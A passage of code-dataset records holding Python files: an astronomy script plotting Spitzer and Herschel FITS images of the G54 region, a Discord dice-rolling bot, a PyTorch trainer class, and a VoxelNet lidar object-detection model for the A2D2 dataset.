utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 28 08:19:12 2019\r\n\r\n@author: rastf\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 21 07:26:54 2019\r\n\r\n@author: rastf\r\n\"\"\"\r\n\r\nfrom astropy.io import fits\r\nfrom astropy.wcs import WCS\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport matplotlib.gridspec as gridspec\r\nfrom matplotlib.colors import LogNorm\r\nfrom matplotlib.patches import Circle\r\nfrom astropy.visualization import simple_norm\r\n\r\n#finding out what the coordinate system for each image is\r\nwcs24 = WCS(fits.getheader('G54_Spitzer_24.fits'))\r\nwcs70 = WCS(fits.getheader('G54_PACS_70.fits'))\r\nwcs160 = WCS(fits.getheader('G54_PACS_160.fits'))\r\nwcs250 = WCS(fits.getheader('G54_SPIRE_250.fits'))\r\nwcs350 = WCS(fits.getheader('G54_SPIRE_350.fits'))\r\nwcs500 = WCS(fits.getheader('G54_SPIRE_500.fits'))\r\nwcs870 = WCS(fits.getheader('G54.1_FINAL_870.fits'))\r\n\r\n#setting up the grid for plotting\r\nf= plt.figure(figsize = (5,5))\r\ngs1 = gridspec.GridSpec(1,1)\r\ngs1.update(wspace=0.025, hspace=0)\r\n\r\n#importing the data in\r\nSPITZER24=fits.getdata('G54_Spitzer_24.fits')\r\nPACS70=fits.getdata('G54_PACS_70.fits')\r\nPACS160=fits.getdata('G54_PACS_160.fits')\r\nSPIRE250=fits.getdata('G54_SPIRE_250.fits')\r\nSPIRE350=fits.getdata('G54_SPIRE_350.fits')\r\nSPIRE500=fits.getdata('G54_SPIRE_500.fits')\r\nFINAL870=fits.getdata('G54.1_FINAL_870.fits')\r\n\r\n#setting vmin and vmax\r\nvmin=-0.03\r\nvmax=1\r\ncmap='cubehelix'\r\n#defining some lists that will be needed for plotting\r\nax = []\r\nlat = []\r\nlon = []\r\n\r\n# =============================================================================\r\n# SPITZER 24 IMAGE\r\n# =============================================================================\r\nt=0\r\nax.append(plt.subplot(gs1[t], projection=wcs24)) #creating subplot and assigning correct wcs\r\nimg = ax[t].imshow(SPITZER24, cmap=cmap, origin = 'lower', norm=simple_norm(SPITZER24)) #plotting image with LogNorm\r\nax[t].text(0.5,0.92,'Spitzer MIPS 24$\\mu$m', fontsize=13, family='serif', ha = 'left', va = 'center', transform = ax[t].transAxes, color='white') #adding text\r\nc = Circle((292.6167, 18.8683), 0.025, edgecolor='white', facecolor='none',alpha=0.5,transform=ax[t].get_transform('fk5')) #defining circle\r\np = Circle((292.6292, 18.8667), 0.001, edgecolor='white', facecolor='none',alpha=0.5,transform=ax[t].get_transform('fk5')) #defining circle\r\nax[t].add_patch(c) #adding the circle\r\nax[t].add_patch(p)\r\n#c2 = Circle((292.6167, 18.8683), 0.022, edgecolor='white', facecolor='none',alpha=0.5,transform=ax[t].get_transform('fk5')) #defining circle\r\n#ax[t].add_patch(c2) #adding the circle2\r\nlon.append(ax[t].coords[0]) #defining x axis\r\nlat.append(ax[t].coords[1]) #defining y axis\r\nlon[t].set_ticklabel_visible(True) #choosing to show or hide the x axis\r\nlon[t].set_ticks_visible(True)\r\nlat[t].set_ticklabel_visible(True) #choosing to show or hide the y axis\r\nlat[t].set_ticks_visible(True)\r\nax[t].set_xlim((51,101)) #restricting field of view\r\nax[t].set_ylim((51,101)) #restricting field of view\r\n\r\n\r\n\r\n", "repo_name": "rastfowl/University-Dust-Project", "sub_path": "RawSpitzer.py", "file_name": "RawSpitzer.py", "file_ext": "py", "file_size_in_byte": 3006, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "astropy.wcs.WCS", "line_number": 25, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 25, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 25, "usage_type": "name"}, {"api_name": "astropy.wcs.WCS", "line_number": 26, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 26, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 26, "usage_type": "name"}, {"api_name": "astropy.wcs.WCS", "line_number": 27, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 27, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 27, "usage_type": "name"}, {"api_name": "astropy.wcs.WCS", "line_number": 28, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 28, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 28, "usage_type": "name"}, {"api_name": "astropy.wcs.WCS", "line_number": 29, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 29, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 29, "usage_type": "name"}, {"api_name": "astropy.wcs.WCS", "line_number": 30, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 30, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 30, "usage_type": "name"}, {"api_name": "astropy.wcs.WCS", "line_number": 31, "usage_type": "call"}, {"api_name": "astropy.io.fits.getheader", "line_number": 31, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 35, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 39, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 39, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 40, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 40, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 41, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 41, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 42, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 42, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 43, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 43, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 44, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 44, "usage_type": "name"}, {"api_name": "astropy.io.fits.getdata", "line_number": 45, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "astropy.visualization.simple_norm", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.patches.Circle", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.patches.Circle", "line_number": 64, "usage_type": "call"}]} {"seq_id": "3930261368", "text": "import os\nimport logging\nimport discord\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\nimport utils\n\nload_dotenv()\n\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.INFO)\nhandler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\nhandler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\nlogger.addHandler(handler)\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n logger.info(f\"logged in as {client.user}\")\n\n@client.event\nasync def on_message(ctx):\n content = ctx.content\n if ctx.author == client.user:\n logger.info(\"message sent by bot itself, ignoring...\")\n return\n\n if content.startswith('!o'):\n fields = content.split(' ')\n try:\n dice_pool = int(fields[1])\n modifier = int(fields[2])\n dt = int(fields[3])\n except IndexError as error:\n logger.warning(f\"invalid fields for {ctx.author} message threw the exception bellow...\\n {error}\")\n await ctx.channel.send(\"Campos inválidos!\")\n return\n\n dice_info = utils.dice_roll(dice_pool,modifier,dt)\n\n embed_image = discord.Embed(\n title = f'{ctx.author} rolou...',\n color=dice_info[3],\n )\n embed_image.add_field(name=\"**Dados**\", value=dice_info[0], inline=True)\n embed_image.add_field(name=\"**Modificador**\", value=modifier, inline=True)\n embed_image.add_field(name=\"**Dificuldade**\", value=dt, inline=True)\n embed_image.add_field(name=\"**Rolagem final:**\", value=dice_info[5]+modifier)\n embed_image.add_field(name=\"**Resultado:**\", value=dice_info[4])\n embed_image.set_thumbnail(url=dice_info[2])\n\n logger.info(f\"rolling dice for {ctx.author}...\")\n await ctx.channel.send(embed=embed_image)\n return\n\n elif content.startswith('ordo!ping'):\n embed_image = discord.Embed(\n title = 'Ping...',\n color=0x492ea4,\n )\n logger.info(f'running ping command by {ctx.author}...')\n embed_image.add_field(name=\"**Pong!**\", value=f'{round(client.latency * 1000)}ms')\n await ctx.channel.send(embed=embed_image)\n return\n\n elif content.startswith('!ro'):\n fields=content.split(' ')\n dice_info = utils.other_dice(fields[1])\n embed_image = discord.Embed(\n color=0x492ea4\n )\n embed_image.add_field(name=\"**Dados**\", value=dice_info[0], inline=True)\n embed_image.add_field(name=\"**Total**\", value=dice_info[3], inline=True)\n await ctx.channel.send(embed=embed_image)\n return\n\nif __name__ == \"__main__\":\n client.run(os.environ[\"BOT_TOKEN\"])\n", "repo_name": "daniloalima/ordo", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2725, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 13, "usage_type": "call"}, {"api_name": "discord.Client", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.dice_roll", "line_number": 40, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 42, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 58, "usage_type": "call"}, {"api_name": "utils.other_dice", "line_number": 69, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 70, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 79, "usage_type": "attribute"}]} {"seq_id": "21008931398", "text": "from typing import Tuple\n\nimport torch\n\nfrom .base_trainer import BaseTrainer\nfrom .utils import get_batch_tensors, get_dict\n\n\nclass StandardTrainer(BaseTrainer):\n\n def __init__(self, model, optimizer, loss, metrics=None,\n x_device=None, x_type=torch.float, y_device=None, y_type=torch.long):\n \"\"\"\n :param model: torch module\n :param optimizer: torch optimizer\n :param loss: loss function with signature function(preds, trues)\n :param metrics: list of metric functions with signature function(preds, trues)\n :param x_device: device to put inputs\n :param x_type: type to cast inputs\n :param y_device: device to put labels\n :param y_type: type to cast labels\n \"\"\"\n super().__init__([model], [optimizer], loss, metrics)\n\n self.x_device = x_device\n self.x_type = x_type\n self.y_device = y_device\n self.y_type = y_type\n\n self.training = True\n\n def _extract_data(self, batch_data):\n return get_batch_tensors(batch_data, self.x_type, self.x_device, self.y_type, self.y_device)\n\n def _train_one_batch(self, inputs, targets) -> Tuple[dict, object]:\n if isinstance(inputs, dict):\n preds = self.models[0](**inputs)\n elif isinstance(inputs, list):\n preds = self.models[0](*inputs)\n else:\n preds = self.models[0](inputs)\n\n loss = self.loss(preds, targets)\n\n if isinstance(loss, dict):\n loss_dict = {k: float(loss[k]) for k in loss}\n loss = loss[\"Loss\"]\n else:\n loss_dict = {\"Loss\": float(loss)}\n\n loss.backward()\n self.optimizers[0].step()\n\n return loss_dict, preds\n\n def _get_train_measures(self, inputs, targets, loss_dict, cache) -> dict:\n preds = cache\n\n measures = loss_dict\n for m in self.metrics:\n m_value = m(preds, targets)\n m_dict = get_dict(m_value, name=m._get_name())\n measures.update(m_dict)\n\n return measures\n\n def _get_eval_cache(self, inputs, targets):\n if isinstance(inputs, dict):\n preds = self.models[0](**inputs)\n elif isinstance(inputs, list):\n preds = self.models[0](*inputs)\n else:\n preds = self.models[0](inputs)\n\n return preds, targets\n\n def _get_eval_logs(self, eval_caches):\n preds, trues = eval_caches\n\n loss = self.loss(preds, trues)\n loss_dict = get_dict(loss, prefix=\"Val_\", name=\"Loss\")\n\n measures = loss_dict\n for m in self.metrics:\n m_value = m(preds, trues)\n m_dict = get_dict(m_value, prefix=\"val \", name=m._get_name())\n measures.update(m_dict)\n\n return measures\n\n def extra_repr(self):\n return f\"x_device={self.x_device}, x_type={self.x_type}, \" \\\n f\"y_device={self.y_device}, y_type={self.y_type}\"\n", "repo_name": "jokingbear/DM", "sub_path": "plasma/training/trainers/standard_trainer.py", "file_name": "standard_trainer.py", "file_ext": "py", "file_size_in_byte": 2927, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "base_trainer.BaseTrainer", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.float", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.long", "line_number": 12, "usage_type": "attribute"}, {"api_name": "utils.get_batch_tensors", "line_number": 33, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 35, "usage_type": "name"}, {"api_name": "utils.get_dict", "line_number": 62, "usage_type": "call"}, {"api_name": "utils.get_dict", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.get_dict", "line_number": 86, "usage_type": "call"}]} {"seq_id": "40866280060", "text": "\n# https://github.com/skyhehe123/VoxelNet-pytorch\n\n# voxelnet\n\n\nimport torch.utils.data as data\nimport time\n\nimport torch.optim as optim\nimport torch.nn.init as init\nimport torch.backends.cudnn\nfrom __future__ import division\nimport numpy as np\nimport math\nimport mayavi.mlab as mlab\nimport cv2\nimport cv2\n\n\nfrom torch.autograd import Variable\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport math\n\nimport os\nimport cv2\nimport matplotlib.pyplot as plt\nimport torch.utils.data as data\nimport torch.nn.functional as F\nimport numpy as np\nimport torch.backends.cudnn\nimport cv2\nimport matplotlib.pyplot as plt\ntorch.backends.cudnn.benchmark = True\ntorch.backends.cudnn.enabled = True\n\n\n# voxel configuration\n\nclass config:\n\n # classes\n class_list = ['Car', 'Bicycle', 'Pedestrian', 'Truck',\n 'Small vehicles', 'Traffic signal', 'Traffic sign',\n 'Utility vehicle', 'Sidebars', 'Speed bumper',\n 'Curbstone', 'Solid line', 'Irrelevant signs',\n 'Road blocks', 'Tractor', 'Non-drivable street',\n 'Zebra crossing', 'Obstacles / trash', 'Poles',\n 'RD restricted area', 'Animals', 'Grid structure',\n 'Signal corpus', 'Drivable cobblestone', 'Electronic traffic',\n 'Slow drive area', 'Nature object', 'Parking area',\n 'Sidewalk', 'Ego car', 'Painted driv. instr.',\n 'Traffic guide obj.', 'Dashed line', 'RD normal street',\n 'Sky', 'Buildings', 'Blurred area', 'Rain dirt']\n\n # batch size\n N = 2\n\n # maxiumum number of points per voxel\n T = 35\n\n # voxel size\n vd = 0.4\n vh = 0.2\n vw = 0.2\n\n # points cloud range\n xrange = (0, 100)\n yrange = (-50, 50)\n zrange = (-5, 5)\n\n # voxel grid\n W = math.ceil((xrange[1] - xrange[0]) / vw)\n H = math.ceil((yrange[1] - yrange[0]) / vh)\n D = math.ceil((zrange[1] - zrange[0]) / vd)\n\n # iou threshold\n pos_threshold = 0.6\n neg_threshold = 0.45\n\n # anchors: (200, 176, 2, 7) x y z h w l r\n x = np.linspace(xrange[0]+vw, xrange[1]-vw, W/2)\n y = np.linspace(yrange[0]+vh, yrange[1]-vh, H/2)\n cx, cy = np.meshgrid(x, y)\n # all is (w, l, 2)\n cx = np.tile(cx[..., np.newaxis], 2)\n cy = np.tile(cy[..., np.newaxis], 2)\n cz = np.ones_like(cx) * -1.0\n w = np.ones_like(cx) * 1.6\n l = np.ones_like(cx) * 3.9\n h = np.ones_like(cx) * 1.56\n r = np.ones_like(cx)\n r[..., 0] = 0\n r[..., 1] = np.pi/2\n anchors = np.stack([cx, cy, cz, h, w, l, r], axis=-1)\n\n anchors_per_position = 2\n\n # non-maximum suppression\n nms_threshold = 0.1\n score_threshold = 0.96\n\n\n# _____________________________________________________________________________________________________ #\n\n\nclass A2D2Dataset(data.Dataset):\n\n def __init__(self, root='./KITTI',set='train',type='velodyne_train'):\n self.type = type\n self.root = root\n self.data_path = os.path.join(root, 'training')\n self.lidar_path = os.path.join(self.data_path, \"crop/\")\n self.image_path = os.path.join(self.data_path, \"image_2/\")\n self.calib_path = os.path.join(self.data_path, \"calib/\")\n self.label_path = os.path.join(self.data_path, \"label_2/\")\n\n with open(os.path.join(self.data_path, '%s.txt' % set)) as f:\n self.file_list = f.read().splitlines()\n\n self.T = config.T\n self.vd = config.vd\n self.vh = config.vh\n self.vw = config.vw\n self.xrange = config.xrange\n self.yrange = config.yrange\n self.zrange = config.zrange\n self.anchors = config.anchors.reshape(-1,7)\n self.feature_map_shape = (int(config.H / 2), int(config.W / 2))\n self.anchors_per_position = config.anchors_per_position\n self.pos_threshold = config.pos_threshold\n self.neg_threshold = config.neg_threshold\n\n def cal_target(self, gt_box3d):\n # Input:\n # labels: (N,)\n # feature_map_shape: (w, l)\n # anchors: (w, l, 2, 7)\n # Output:\n # pos_equal_one (w, l, 2)\n # neg_equal_one (w, l, 2)\n # targets (w, l, 14)\n # attention: cal IoU on birdview\n\n anchors_d = np.sqrt(self.anchors[:, 4] ** 2 + self.anchors[:, 5] ** 2)\n\n pos_equal_one = np.zeros((*self.feature_map_shape, 2))\n neg_equal_one = np.zeros((*self.feature_map_shape, 2))\n targets = np.zeros((*self.feature_map_shape, 14))\n\n gt_xyzhwlr = box3d_corner_to_center_batch(gt_box3d)\n\n anchors_corner = anchors_center_to_corner(self.anchors)\n\n anchors_standup_2d = corner_to_standup_box2d_batch(anchors_corner)\n # BOTTLENECK\n gt_standup_2d = corner_to_standup_box2d_batch(gt_box3d)\n\n iou = bbox_overlaps(\n np.ascontiguousarray(anchors_standup_2d).astype(np.float32),\n np.ascontiguousarray(gt_standup_2d).astype(np.float32),\n )\n\n id_highest = np.argmax(iou.T, axis=1) # the maximum anchor's ID\n id_highest_gt = np.arange(iou.T.shape[0])\n mask = iou.T[id_highest_gt, id_highest] > 0\n id_highest, id_highest_gt = id_highest[mask], id_highest_gt[mask]\n # find anchor iou > cfg.XXX_POS_IOU\n id_pos, id_pos_gt = np.where(iou > self.pos_threshold)\n # find anchor iou < cfg.XXX_NEG_IOU\n id_neg = np.where(np.sum(iou < self.neg_threshold,\n axis=1) == iou.shape[1])[0]\n\n id_pos = np.concatenate([id_pos, id_highest])\n id_pos_gt = np.concatenate([id_pos_gt, id_highest_gt])\n # TODO: uniquify the array in a more scientific way\n id_pos, index = np.unique(id_pos, return_index=True)\n id_pos_gt = id_pos_gt[index]\n id_neg.sort()\n # cal the target and set the equal one\n index_x, index_y, index_z = np.unravel_index(\n id_pos, (*self.feature_map_shape, self.anchors_per_position))\n pos_equal_one[index_x, index_y, index_z] = 1\n # ATTENTION: index_z should be np.array\n\n targets[index_x, index_y, np.array(index_z) * 7] = \\\n (gt_xyzhwlr[id_pos_gt, 0] - self.anchors[id_pos, 0]) / anchors_d[id_pos]\n targets[index_x, index_y, np.array(index_z) * 7 + 1] = \\\n (gt_xyzhwlr[id_pos_gt, 1] - self.anchors[id_pos, 1]) / anchors_d[id_pos]\n targets[index_x, index_y, np.array(index_z) * 7 + 2] = \\\n (gt_xyzhwlr[id_pos_gt, 2] - self.anchors[id_pos, 2]) / self.anchors[id_pos, 3]\n targets[index_x, index_y, np.array(index_z) * 7 + 3] = np.log(\n gt_xyzhwlr[id_pos_gt, 3] / self.anchors[id_pos, 3])\n targets[index_x, index_y, np.array(index_z) * 7 + 4] = np.log(\n gt_xyzhwlr[id_pos_gt, 4] / self.anchors[id_pos, 4])\n targets[index_x, index_y, np.array(index_z) * 7 + 5] = np.log(\n gt_xyzhwlr[id_pos_gt, 5] / self.anchors[id_pos, 5])\n targets[index_x, index_y, np.array(index_z) * 7 + 6] = (\n gt_xyzhwlr[id_pos_gt, 6] - self.anchors[id_pos, 6])\n index_x, index_y, index_z = np.unravel_index(\n id_neg, (*self.feature_map_shape, self.anchors_per_position))\n neg_equal_one[index_x, index_y, index_z] = 1\n # to avoid a box be pos/neg in the same time\n index_x, index_y, index_z = np.unravel_index(\n id_highest, (*self.feature_map_shape, self.anchors_per_position))\n neg_equal_one[index_x, index_y, index_z] = 0\n\n return pos_equal_one, neg_equal_one, targets\n\n def preprocess(self, lidar):\n\n # shuffling the points\n np.random.shuffle(lidar)\n\n voxel_coords = ((lidar[:, :3] - np.array([self.xrange[0], self.yrange[0], self.zrange[0]])) / (\n self.vw, self.vh, self.vd)).astype(np.int32)\n\n # convert to (D, H, W)\n voxel_coords = voxel_coords[:,[2,1,0]]\n voxel_coords, inv_ind, voxel_counts = np.unique(voxel_coords, axis=0, \\\n return_inverse=True, return_counts=True)\n\n voxel_features = []\n\n for i in range(len(voxel_coords)):\n voxel = np.zeros((self.T, 7), dtype=np.float32)\n pts = lidar[inv_ind == i]\n if voxel_counts[i] > self.T:\n pts = pts[:self.T, :]\n voxel_counts[i] = self.T\n # augment the points\n voxel[:pts.shape[0], :] = np.concatenate((pts, pts[:, :3] - np.mean(pts[:, :3], 0)), axis=1)\n voxel_features.append(voxel)\n return np.array(voxel_features), voxel_coords\n\n def __getitem__(self, i):\n\n lidar_file = self.lidar_path + '/' + self.file_list[i] + '.bin'\n calib_file = self.calib_path + '/' + self.file_list[i] + '.txt'\n label_file = self.label_path + '/' + self.file_list[i] + '.txt'\n image_file = self.image_path + '/' + self.file_list[i] + '.png'\n\n calib = load_kitti_calib(calib_file)\n Tr = calib['Tr_velo2cam']\n gt_box3d = load_kitti_label(label_file, Tr)\n lidar = np.fromfile(lidar_file, dtype=np.float32).reshape(-1, 4)\n\n\n if self.type == 'velodyne_train':\n image = cv2.imread(image_file)\n\n # data augmentation\n lidar, gt_box3d = aug_data(lidar, gt_box3d)\n\n # specify a range\n lidar, gt_box3d = get_filtered_lidar(lidar, gt_box3d)\n\n # voxelize\n voxel_features, voxel_coords = self.preprocess(lidar)\n\n # bounding-box encoding\n pos_equal_one, neg_equal_one, targets = self.cal_target(gt_box3d)\n\n return voxel_features, voxel_coords, pos_equal_one, neg_equal_one, targets, image, calib, self.file_list[i]\n\n elif self.type == 'velodyne_test':\n NotImplemented\n\n else:\n raise ValueError('the type invalid')\n\n\n def __len__(self):\n return len(self.file_list)\n\n\n\n\n\n# _____________________________________________________________________________________________________ #\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# conv2d + bn + relu\nclass Conv2d(nn.Module):\n\n def __init__(self, in_channels, out_channels, k, s, p, activation=True, batch_norm=True):\n super(Conv2d, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=k, stride=s, padding=p)\n if batch_norm:\n self.bn = nn.BatchNorm2d(out_channels)\n else:\n self.bn = None\n self.activation = activation\n\n def forward(self, x):\n x = self.conv(x)\n if self.bn is not None:\n x=self.bn(x)\n if self.activation:\n return F.relu(x, inplace=True)\n else:\n return x\n\n\n# conv3d + bn + relu\nclass Conv3d(nn.Module):\n\n def __init__(self, in_channels, out_channels, k, s, p, batch_norm=True):\n super(Conv3d, self).__init__()\n self.conv = nn.Conv3d(in_channels, out_channels, kernel_size=k, stride=s, padding=p)\n if batch_norm:\n self.bn = nn.BatchNorm3d(out_channels)\n else:\n self.bn = None\n\n def forward(self, x):\n x = self.conv(x)\n if self.bn is not None:\n x = self.bn(x)\n\n return F.relu(x, inplace=True)\n\n\n# Fully Connected Network\nclass FCN(nn.Module):\n\n def __init__(self, cin, cout):\n super(FCN, self).__init__()\n self.cout = cout\n self.linear = nn.Linear(cin, cout)\n self.bn = nn.BatchNorm1d(cout)\n\n def forward(self, x):\n # KK is the stacked k across batch\n kk, t, _ = x.shape\n x = self.linear(x.view(kk*t, -1))\n x = F.relu(self.bn(x))\n return x.view(kk, t, -1)\n\n\n# Voxel Feature Encoding layer\nclass VFE(nn.Module):\n\n def __init__(self,cin,cout):\n super(VFE, self).__init__()\n assert cout % 2 == 0\n self.units = cout // 2\n self.fcn = FCN(cin,self.units)\n\n def forward(self, x, mask):\n # point-wise feature\n pwf = self.fcn(x)\n # locally aggregated feature\n laf = torch.max(pwf, 1)[0].unsqueeze(1).repeat(1, config.T, 1)\n # point-wise concat feature\n pwcf = torch.cat((pwf, laf), dim=2)\n # apply mask\n mask = mask.unsqueeze(2).repeat(1, 1, self.units * 2)\n pwcf = pwcf * mask.float()\n\n return pwcf\n\n\n# Stacked Voxel Feature Encoding\nclass SVFE(nn.Module):\n\n def __init__(self):\n super(SVFE, self).__init__()\n self.vfe_1 = VFE(7, 32)\n self.vfe_2 = VFE(32, 128)\n self.fcn = FCN(128, 128)\n\n def forward(self, x):\n mask = torch.ne(torch.max(x, 2)[0], 0)\n x = self.vfe_1(x, mask)\n x = self.vfe_2(x, mask)\n x = self.fcn(x)\n # element-wise max pooling\n x = torch.max(x, 1)[0]\n return x\n\n\n# Convolutional Middle Layer\nclass CML(nn.Module):\n def __init__(self):\n super(CML, self).__init__()\n self.conv3d_1 = Conv3d(128, 64, 3, s=(2, 1, 1), p=(1, 1, 1))\n self.conv3d_2 = Conv3d(64, 64, 3, s=(1, 1, 1), p=(0, 1, 1))\n self.conv3d_3 = Conv3d(64, 64, 3, s=(2, 1, 1), p=(1, 1, 1))\n\n def forward(self, x):\n x = self.conv3d_1(x)\n x = self.conv3d_2(x)\n x = self.conv3d_3(x)\n return x\n\n\n# Region Proposal Network\nclass RPN(nn.Module):\n def __init__(self):\n super(RPN, self).__init__()\n self.block_1 = [Conv2d(128, 128, 3, 2, 1)]\n self.block_1 += [Conv2d(128, 128, 3, 1, 1) for _ in range(3)]\n self.block_1 = nn.Sequential(*self.block_1)\n\n self.block_2 = [Conv2d(128, 128, 3, 2, 1)]\n self.block_2 += [Conv2d(128, 128, 3, 1, 1) for _ in range(5)]\n self.block_2 = nn.Sequential(*self.block_2)\n\n self.block_3 = [Conv2d(128, 256, 3, 2, 1)]\n self.block_3 += [nn.Conv2d(256, 256, 3, 1, 1) for _ in range(5)]\n self.block_3 = nn.Sequential(*self.block_3)\n\n self.deconv_1 = nn.Sequential(nn.ConvTranspose2d(256, 256, 4, 4, 0), nn.BatchNorm2d(256))\n self.deconv_2 = nn.Sequential(nn.ConvTranspose2d(128, 256, 2, 2, 0), nn.BatchNorm2d(256))\n self.deconv_3 = nn.Sequential(nn.ConvTranspose2d(128, 256, 1, 1, 0), nn.BatchNorm2d(256))\n\n self.score_head = Conv2d(768, config.anchors_per_position, 1, 1, 0, activation=False, batch_norm=False)\n self.reg_head = Conv2d(768, 7 * config.anchors_per_position, 1, 1, 0, activation=False, batch_norm=False)\n\n def forward(self,x):\n x = self.block_1(x)\n x_skip_1 = x\n x = self.block_2(x)\n x_skip_2 = x\n x = self.block_3(x)\n x_0 = self.deconv_1(x)\n x_1 = self.deconv_2(x_skip_2)\n x_2 = self.deconv_3(x_skip_1)\n x = torch.cat((x_0,x_1,x_2),1)\n return self.score_head(x),self.reg_head(x)\n\n\nclass VoxelNet(nn.Module):\n\n def __init__(self):\n super(VoxelNet, self).__init__()\n self.svfe = SVFE()\n self.cml = CML()\n self.rpn = RPN()\n\n def voxel_indexing(self, sparse_features, coords):\n dim = sparse_features.shape[-1]\n\n dense_feature = Variable(torch.zeros(dim, config.N, config.D, config.H, config.W).cuda())\n\n dense_feature[:, coords[:, 0], coords[:, 1], coords[:, 2], coords[:, 3]] = sparse_features\n\n return dense_feature.transpose(0, 1)\n\n def forward(self, voxel_features, voxel_coords):\n\n # feature learning network\n vwfs = self.svfe(voxel_features)\n vwfs = self.voxel_indexing(vwfs, voxel_coords)\n\n # convolutional middle network\n cml_out = self.cml(vwfs)\n\n # region proposal network\n\n # merge the depth and feature dim into one, output probability score map and regression map\n psm, rm = self.rpn(cml_out.view(config.N, -1, config.H, config.W))\n\n return psm, rm\n\n\n# loss function\n\nclass VoxelLoss(nn.Module):\n def __init__(self, alpha, beta):\n super(VoxelLoss, self).__init__()\n self.smoothl1loss = nn.SmoothL1Loss(size_average=False)\n self.alpha = alpha\n self.beta = beta\n\n def forward(self, rm, psm, pos_equal_one, neg_equal_one, targets):\n\n p_pos = F.sigmoid(psm.permute(0,2,3,1))\n rm = rm.permute(0,2,3,1).contiguous()\n rm = rm.view(rm.size(0),rm.size(1),rm.size(2),-1,7)\n targets = targets.view(targets.size(0),targets.size(1),targets.size(2),-1,7)\n pos_equal_one_for_reg = pos_equal_one.unsqueeze(pos_equal_one.dim()).expand(-1,-1,-1,-1,7)\n\n rm_pos = rm * pos_equal_one_for_reg\n targets_pos = targets * pos_equal_one_for_reg\n\n cls_pos_loss = -pos_equal_one * torch.log(p_pos + 1e-6)\n cls_pos_loss = cls_pos_loss.sum() / (pos_equal_one.sum() + 1e-6)\n\n cls_neg_loss = -neg_equal_one * torch.log(1 - p_pos + 1e-6)\n cls_neg_loss = cls_neg_loss.sum() / (neg_equal_one.sum() + 1e-6)\n\n reg_loss = self.smoothl1loss(rm_pos, targets_pos)\n reg_loss = reg_loss / (pos_equal_one.sum() + 1e-6)\n conf_loss = self.alpha * cls_pos_loss + self.beta * cls_neg_loss\n return conf_loss, reg_loss\n\n\n\n\n\n\n# _____________________________________________________________________________________________________ #\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# _____________________________________________________________________________________________________ #\n\n\n\n\n\n\n\n\n# data 